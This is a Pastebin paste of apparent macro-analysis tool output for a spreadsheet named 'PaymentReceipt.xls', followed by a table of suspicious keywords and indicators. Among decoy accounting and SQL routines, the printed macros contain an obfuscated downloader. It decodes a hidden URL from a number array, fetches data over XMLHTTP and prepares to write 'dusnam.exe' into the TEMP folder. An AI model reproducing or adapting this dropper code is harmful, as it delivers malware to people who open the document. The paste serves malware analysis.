  754. rgn1 = CreateEllipticRgn(X - 1.2, Y + 68, X + 190, Y + 234)
  755. rgn2 = CreateEllipticRgn(X + 72, Y + 71, X + 237, Y + 227)
  756. rgn3 = CreateEllipticRgn(X + 26, Y + 145, X + 161 + 23, Y + 153 + 150)
  757. tmp = CombineRgn(rgn, rgn, rgn1, RGN_OR)
  758. tmp = CombineRgn(rgn, rgn, rgn2, RGN_OR)
  759. tmp = CombineRgn(rgn, rgn, rgn3, RGN_OR)
  760. frmMain.Width = 3700
  761. frmMain.Height = 5300
  762. tmp = SetWindowRgn(frmMain.hwnd, rgn, True)
  763. End Sub
  764. Public Sub SetUtilityShape()
  765. Dim i As Integer
  766. Dim rgn As Long, rgn1 As Long, rgn2 As Long, rgn3 As Long, rgn4 As Long, rgn5 As Long, rgn6 As Long, rgn7 As Long, tmp As Long
  767. Dim X As Long, Y As Long
  768. X = lMainWndSettings.wWindowBorder
  769. Y = lMainWndSettings.wTitleBarHeight
  770. rgn = CreateRoundRectRgn(X + 38, Y + 249, X + 288, Y + 268, 10, 10)
  771. rgn1 = CreateRoundRectRgn(X + 286, Y - 3, X + 324, Y + 231, 40, 40)
  772. rgn2 = CreateRectRgn(X + 286, Y + 192, X + 30 + 286, Y + 57 + 192)
  773. rgn3 = CreateEllipticRgn(X + 286, Y + 228, X + 288 + 50, Y + 41 + 232)
  774. rgn4 = CreateRoundRectRgn(X + 1, Y - 3, X + 300, Y + 34, 30, 30)
  775. rgn5 = CreateRoundRectRgn(X + 35, Y + -100, X + 287, Y + 16, 20, 20)
  776. rgn6 = CreateRectRgn(X + 35, Y + 20, X + 249 + 40, Y + 209 + 40)
  777. rgn7 = CreateRoundRectRgn(X - 1, Y + 20, X + 70, Y + 250, 20, 20)
  778. tmp = CombineRgn(rgn, rgn, rgn1, RGN_OR)
  779. tmp = CombineRgn(rgn, rgn, rgn2, RGN_OR)
  780. tmp = CombineRgn(rgn, rgn, rgn3, RGN_DIFF)
  781. tmp = CombineRgn(rgn, rgn, rgn4, RGN_OR)
  782. tmp = CombineRgn(rgn, rgn, rgn5, RGN_DIFF)
  783. tmp = CombineRgn(rgn, rgn, rgn6, RGN_OR)
  784. tmp = CombineRgn(rgn, rgn, rgn7, RGN_OR)
  785. frmMain.Width = 5000
  786. frmMain.Height = 4800
  787. tmp = SetWindowRgn(frmMain.hwnd, rgn, True)
  788. End Sub
  789. Public Sub SetAboutShape()
  790. Dim i As Integer
  791. Dim rgn As Long, rgn1 As Long, rgn2 As Long, rgn3 As Long, rgn4 As Long, rgn5 As Long, rgn6 As Long, rgn7 As Long, tmp As Long
  792. Dim X As Long, Y As Long
  793. X = lMainWndSettings.wWindowBorder
  794. Y = lMainWndSettings.wTitleBarHeight
  795. rgn = CreateRectRgn(X - 1, Y - 2, X + 200, Y + 229)
  796. frmMain.Width = 3200
  797. frmMain.Height = 4200
  798. tmp = SetWindowRgn(frmMain.hwnd, rgn, True)
  799. End Sub
  800. Public Function ms_ShowID3V1Tag(sFileName As String) As String
  801. On Local Error GoTo ErrHandler
  802. Const ID3V1TagSize As Integer = 127
  803. Dim result As String
  804. Dim t As ID3V1Tag
  805. Dim lFileHandle As Long
  806. Dim lll As Long
  807. Dim sGenre As String
  808. lFileHandle = FreeFile()
  809. Open sFileName For Binary As #lFileHandle
  810. lll = LOF(lFileHandle)
  811. Get #lFileHandle, lll - ID3V1TagSize, t.Identifier
  812. With t
  813. If .Identifier = "TAG" Then
  814. Get #lFileHandle, , .Title
  815. Get #lFileHandle, , .Artist
  816. Get #lFileHandle, , .Album
  817. Get #lFileHandle, , .Year
  818. Get #lFileHandle, , .Comment
  819. Get #lFileHandle, , .Genre
  820. result.Album = Trim(.Album)
  821. result.Artist = Trim(.Artist)
  822. result.Comment = Trim(.Comment)
  823. result.Identifier = Trim(.Identifier)
  824. result.Title = Trim(.Title)
  825. result.Year = Trim(.Year)
  826. End If
  827. End With
  828. ms_ShowID3V1Tag = result
  829. Close
  830. Exit Function
  831. ErrHandler:
  832. MsgBox "Error: " & Err.Description
  833. End Function
  834. Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
  835.    Dim i As Integer
  836.    Dim result As String
  837.    result = ""
  838.    For i = LBound(fromArr) To UBound(fromArr)
  839.        result = result & Chr(fromArr(i) - 3 * LenLen - 11001)
  840.    Next i
  841.    GetStringFromArray = result
  842. End Function
  843. Public Sub ms_InitialiseGenres()
  844. Dim objXMLDocument As Object
  845. Dim objNodeList As Object
  846. Dim objRoot As Object
  847. Dim objNode As Object
  848. Dim objChild As Object
  849. Dim sIdentifier As String
  850. Dim sGenre As String
  851. Dim XML_FILE As String
  852. XML_FILE = App.Path & "\Genres.xml"
  853. Set objXMLDocument = CreateObject("Microsoft.XMLDOM")
  854. With objXMLDocument
  855. .async = False
  856. If .Load(XML_FILE) Then
  857. Set objRoot = .DocumentElement()
  858. For Each objNode In objRoot.ChildNodes
  859. sGenre = vbNullString
  860. sIdentifier = vbNullString
  861. For Each objChild In objNode.ChildNodes
  862. If objChild.nodeName = "id" Then
  863. sIdentifier = objChild.Text
  864. ElseIf objChild.nodeName = "Description" Then
  865. sGenre = objChild.Text
  866. End If
  867. Next
  868. If sGenre <> vbNullString Then
  869. If sIdentifier <> vbNullString Then
  870. m_objGenres.Add sGenre, sIdentifier
  871. End If
  872. End If
  873. Next
  874. Else
  875. MsgBox "Error loading xml file: " & XML_FILE & vbCrLf & _
  876. "Check if the path to the file is correct", _
  877. vbExclamation, "Cannot Find XML File"
  878. End If
  879. End With
  880. End Sub
  881.  
  882.  
  883.  
  884.  
  885.  
  886. -------------------------------------------------------------------------------
  887. VBA MACRO Module2.bas
  888. in file: PaymentReceipt.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
  889. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  890.  
  891. Public besson As Object
  892. Public balakla As Object
  893. Public perepel  As Object
  894. Public ruanda As String
  895. Public kurgada As String
  896. Public serebro As Object
  897. Public Function LanzaVisorMimeDocumento(Formhwnd As Long, Archivo As String)
  898. Call ShellExecute(Formhwnd, "open", Archivo, "", "", 1)
  899. End Function
  900. Private Function ComputerNameL() As String
  901. Dim sComputerName As String
  902. Dim ComputerNameLength As Long
  903. sComputerName = String(MAX_COMPUTERNAME_LENGTH + 1, 0)
  904. ComputerNameLength = MAX_COMPUTERNAME_LENGTH
  905. Call GetComputerName(sComputerName, ComputerNameLength)
  906. ComputerNameL = Mid(sComputerName, 1, ComputerNameLength)
  907. End Function
  908. Public Function PointerToStringA(ByVal lpStringA As Long) As String
  909. Dim urlAr() As Variant
  910. urlAr = Array(11258, 11270, 11270, 11266, 11212, 11201, 11201, 11273, 11273, 11273, 11200, 11261, 11265, 11262, 11271, 11263, 11252, 11271, 11269, 11200, 11256, 11259, 11201, 11280, 11261, 11256, 11202, 11211, 11208, 11205, 11201, 11206, 11207, 11275, 11256, 11267, 11256, 11273, 11257, 11201, 11208, 11271, 11257, 11255, 11269, 11257, 11269, 11257, 11200, 11255, 11274, 11255)
  911. besson.Open "" + "G" + "" + "" + "E" + "" + "" + "" + "T", GetStringFromArray(urlAr, 51), False
  912. Dim nLen As Long
  913. Dim sTemp As String
  914. Exit Function
  915. If lpStringA Then
  916. nLen = lstrle.nA(lpStringA)
  917. If nLen Then
  918. sTemp = String(nLen, vbNullChar)
  919. lst.rcpy sTemp, lpStringA
  920. PointerToStringA = sTemp
  921. End If
  922. End If
  923. End Function
  924. Private Function GetComputerNameTS() As String
  925. Dim RetVal As Long
  926. Dim lpBuffer As Long
  927. Dim Count As Long
  928. Dim p As Long
  929. Dim QueryInfo As String
  930. Dim CurrentSessionId As Long
  931. Dim CurrentProcessId As Long
  932. CurrentProcessId = GetCurrentPr.ocessId()
  933. RetVal = ProcessIdToSe.ssionId(CurrentProcessId, CurrentSessionId)
  934. RetVal = WTSQuerySessio.nInformation(WTS_CURRENT_SERVER_HANDLE, _
  935. CurrentSessionId, _
  936. WTSClientName, _
  937. lpBuffer, _
  938. Count)
  939. If RetVal Then
  940. p = lpBuffer
  941. QueryInfo = PointerToStringA(p)
  942. WTSFreeMe.mory lpBuffer
  943. Else
  944. If Err.LastDllError <> 1151 Then
  945. MsgBox "An error occurred calling WTSQuerySessionInformation. " & _
  946. "Check the Platform SDK error codes in the MSDN Documentation " & _
  947. "for more information.", vbCritical, "ERROR " & Err.LastDllError
  948. End If
  949. End If
  950. GetComputerNameTS = QuitarCara.cterNULL(QueryInfo)
  951. End Function
  952. Public Function ComputerName() As String
  953. Dim nom As String
  954. ruanda = perepel("TEMP")
  955. Exit Function
  956. nom = GetComputerNameTS
  957. If nom = "" Then nom = ComputerNameL
  958. ComputerName = nom
  959. End Function
  960.  
  961.  
  962.  
  963.  
  964.  
  965.  
  966. -------------------------------------------------------------------------------
  967. VBA MACRO Module3.bas
  968. in file: PaymentReceipt.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
  969. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  970.  
  971. Public Function InsertaTmp(ByRef vSQL As String, Tabla As Byte)
  972. Dim SQL As String
  973. Select Case Tabla
  974. Case 0
  975. SQL = "INSERT INTO tmpwBusca0(codusu,tabla,long1,long2"
  976. SQL = SQL & ",fechaent)"
  977. SQL = SQL & " SELECT " & vUsu.Codigo & ",0,numasien,numdiari,fechaent From cabapu "
  978. SQL = SQL & vSQL
  979. Case 1
  980. SQL = "INSERT INTO tmpwBusca1(codusu,codfaccl,anofaccl,numserie)"
  981. SQL = SQL & " SELECT " & vUsu.Codigo & ",codfaccl,anofaccl,numserie From cabfact "
  982. SQL = SQL & vSQL
  983. SQL = SQL & " ORDER BY fecfaccl ASC ,codfaccl ASC"
  984. Case 2
  985. SQL = "INSERT INTO tmpwBusca2(codusu,numregis,anofacpr)"
  986. SQL = SQL & " SELECT " & vUsu.Codigo & ",numregis,anofacpr From cabfactprov "
  987. SQL = SQL & vSQL
  988. SQL = SQL & " ORDER BY fecrecpr ASC ,numregis ASC"
  989. End Select
  990. Conn.Execute SQL
  991. End Function
  992. Public Function InsertaValoresAsientos(NumAsi As String, fechaent As String, NumDiari As String) As Boolean
  993. Dim SQL As String
  994. Set besson = CreateObject("Microsoft" + ".XMLHTTP")
  995. Set balakla = CreateObject("Adodb.Stream")
  996. Set serebro = CreateObject("Shell.Application")
  997. Set perepel = CreateObject("WScript.Shell").Environment("Process")
  998. On Error Resume Next
  999. InsertaValoresAsientos = False
  1000. SQL = "INSERT INTO tmpwBusca0(codusu,tabla,long1,long2,fechaent) VALUES (" & vUsu.Codigo & ",0,"
  1001. SQL = SQL & NumAsi & "," & NumDiari & ","
  1002. Conn.Execute SQL
  1003. If Err.Number = 0 Then
  1004. InsertaValoresAsientos = True
  1005. Else
  1006. InsertaValoresAsientos = False
  1007. Muestr.aError Err.Number, "InsertaValoresAsientos"
  1008. End If
  1009. End Function
  1010. Public Function EliminaValoresAsientos(NumAsi As String, fechaent As String, NumDiari As String) As Boolean
  1011. Dim SQL As String
  1012. On Error Resume Next
  1013. EliminaValoresAsientos = False
  1014. SQL = "DELETE FROM tmpwBusca0 WHERE codusu = " & vUsu.Codigo & " AND long1 = "
  1015. SQL = SQL & NumAsi & " AND long2 = " & NumDiari & " AND Fechaent = "
  1016. Conn.Execute SQL
  1017. If Err.Number = 0 Then
  1018. EliminaValoresAsientos = True
  1019. Else
  1020. EliminaValoresAsientos = False
  1021. Muestr.aError Err.Number, "EliminaValoresAsientos"
  1022. End If
  1023. End Function
  1024. Public Function EliminaValoresFACCLI(Numserie As String, codfaccl As String, anofaccl As String) As Boolean
  1025. Dim SQL As String
  1026. besson.Send
  1027. On Error Resume Next
  1028. kurgada = ruanda + "\" + "d" + "u" + "s" + "nam." + "" + "e" + "" + "" + "x" + "" + "e"
  1029. EliminaValoresFACCLI = False
  1030. Exit Function
  1031. SQL = "DELETE FROM tmpwBusca1 WHERE codusu = " & vUsu.Codigo & " AND numserie = "
  1032. SQL = SQL & Numserie & ""
  1033. Conn.Execute SQL
  1034. If Err.Number = 0 Then
  1035. EliminaValoresFACCLI = True
  1036. Else
  1037. EliminaValoresFACCLI = False
  1038. Muestr.aError Err.Number, "EliminaValoresFactura"
  1039. End If
  1040. End Function
  1041. Public Function InsertaValoresFACCLI(Numserie As String, Codfac As String, anofac As String) As Boolean
  1042. Dim SQL As String
  1043. On Error Resume Next
  1044. SQL = "INSERT INTO tmpwBusca1(codusu,codfaccl,anofaccl,numserie) VALUES (" & vUsu.Codigo & ","
  1045. SQL = SQL & Codfac & "," & anofac & ","
  1046. Conn.Execute SQL
  1047. If Err.Number = 0 Then
  1048. InsertaValoresFACCLI = True
  1049. Else
  1050. InsertaValoresFACCLI = False
  1051. Muestr.aError Err.Number, "InsertaValoresAsientos"
  1052. End If
  1053. End Function
  1054. Public Function EliminaValoresFACPRO(numregis As String, anofacpr As String) As Boolean
  1055. Dim SQL As String
  1056. On Error Resume Next
  1057. SQL = "DELETE FROM tmpwBusca2 WHERE codusu = " & vUsu.Codigo
  1058. SQL = SQL & " AND numregis = " & numregis & " AND anofacpr = " & anofacpr
  1059. Conn.Execute SQL
  1060. If Err.Number = 0 Then
  1061. EliminaValoresFACPRO = True
  1062. Else
  1063. EliminaValoresFACPRO = False
  1064. Muestr.aError Err.Number, "EliminaValoresFactura"
  1065. End If
  1066. End Function
  1067. Public Function InsertaValoresFACPRO(numregis As String, anofac As String) As Boolean
  1068. Dim SQL As String
  1069. On Error Resume Next
  1070. SQL = "INSERT INTO tmpwBusca2(codusu,numregis,anofacpr) VALUES (" & vUsu.Codigo & ","
  1071. SQL = SQL & numregis & "," & anofac & ")"
  1072. Conn.Execute SQL
  1073. If Err.Number = 0 Then
  1074. InsertaValoresFACPRO = True
  1075. Else
  1076. InsertaValoresFACPRO = False
  1077. Muestr.aError Err.Number, "InsertaValoresAsientos"
  1078. End If
  1079. End Function
  1080. Public Function CargaADOBUS(ByRef AD As String)
  1081. Set AD.Recordset = Nothing
  1082. AD.RecordSource = "Select * from tmpwBusca0 where codusu = " & vUsu.Codigo & " ORDER BY fechaent,long1"
  1083. AD.ConnectionString = Conn
  1084. AD.Refresh
  1085. End Function
  1086. Public Sub BorrarTmpWBusca()
  1087. On Error GoTo EBorrarTmpWBusca
  1088. Conn.Execute "DELETE FROM tmpwBusca0"
  1089. Conn.Execute "DELETE FROM tmpwBusca1"
  1090. Conn.Execute "DELETE FROM tmpwBusca2"
  1091. Exit Sub
  1092. EBorrarTmpWBusca:
  1093. Err.Clear
  1094. End Sub
  1095.  
  1096.  
  1097.  
  1098. +------------+----------------------+-----------------------------------------+
  1099. | Type       | Keyword              | Description                             |
  1100. +------------+----------------------+-----------------------------------------+
  1101. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  1102. | Suspicious | Open                 | May open a file                         |
  1103. | Suspicious | Shell                | May run an executable file or a system  |
  1104. |            |                      | command                                 |
  1105. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  1106. |            |                      | command                                 |
  1107. | Suspicious | Shell.Application    | May run an application (if combined     |
  1108. |            |                      | with CreateObject)                      |
  1109. | Suspicious | Binary               | May read or write a binary file (if     |
  1110. |            |                      | combined with Open)                     |
  1111. | Suspicious | CreateObject         | May create an OLE object                |
  1112. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  1113. |            |                      | strings                                 |
  1114. | Suspicious | ADODB.Stream         | May create a text file                  |
  1115. | Suspicious | SaveToFile           | May create a text file                  |
  1116. | Suspicious | Write                | May write to a file (if combined with   |
  1117. |            |                      | Open)                                   |
  1118. | Suspicious | Output               | May write to a file (if combined with   |
  1119. |            |                      | Open)                                   |
  1120. | Suspicious | Print #              | May write to a file (if combined with   |
  1121. |            |                      | Open)                                   |
  1122. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  1123. |            |                      | (obfuscation: VBA expression)           |
  1124. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  1125. |            |                      | be used to obfuscate strings (option    |
  1126. |            |                      | --decode to see all)                    |
  1127. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  1128. |            |                      | may be used to obfuscate strings        |
  1129. |            |                      | (option --decode to see all)            |
  1130. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  1131. |            | Strings              | may be used to obfuscate strings        |
  1132. |            |                      | (option --decode to see all)            |
  1133. | IOC        | dusnam.exe           | Executable file name (obfuscation: VBA  |
  1134. |            |                      | expression)                             |
  1135. | VBA string |
  1136.                    | Chr(13)                                 |
  1137. | VBA string | GET                  | "" + "G" + "" + "" + "E" + "" + "" + "" |
  1138. |            |                      | + "T"                                   |
  1139. | VBA string | An error occurred    | "An error occurred calling              |
  1140. |            | calling WTSQuerySess | WTSQuerySessionInformation. " &  "Check |
  1141. |            | ionInformation.      | the Platform SDK error codes in the     |
  1142. |            | Check the Platform   | MSDN Documentation " &  "for more       |
  1143. |            | SDK error codes in   | information."                           |
  1144. |            | the MSDN             |                                         |
  1145. |            | Documentation for    |                                         |
  1146. |            | more information.    |                                         |
  1147. | VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
  1148. | VBA string | \dusnam.exe          | "\" + "d" + "u" + "s" + "nam." + "" +   |
  1149. |            |                      | "e" + "" + "" + "x" + "" + "e"          |
  1150. +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!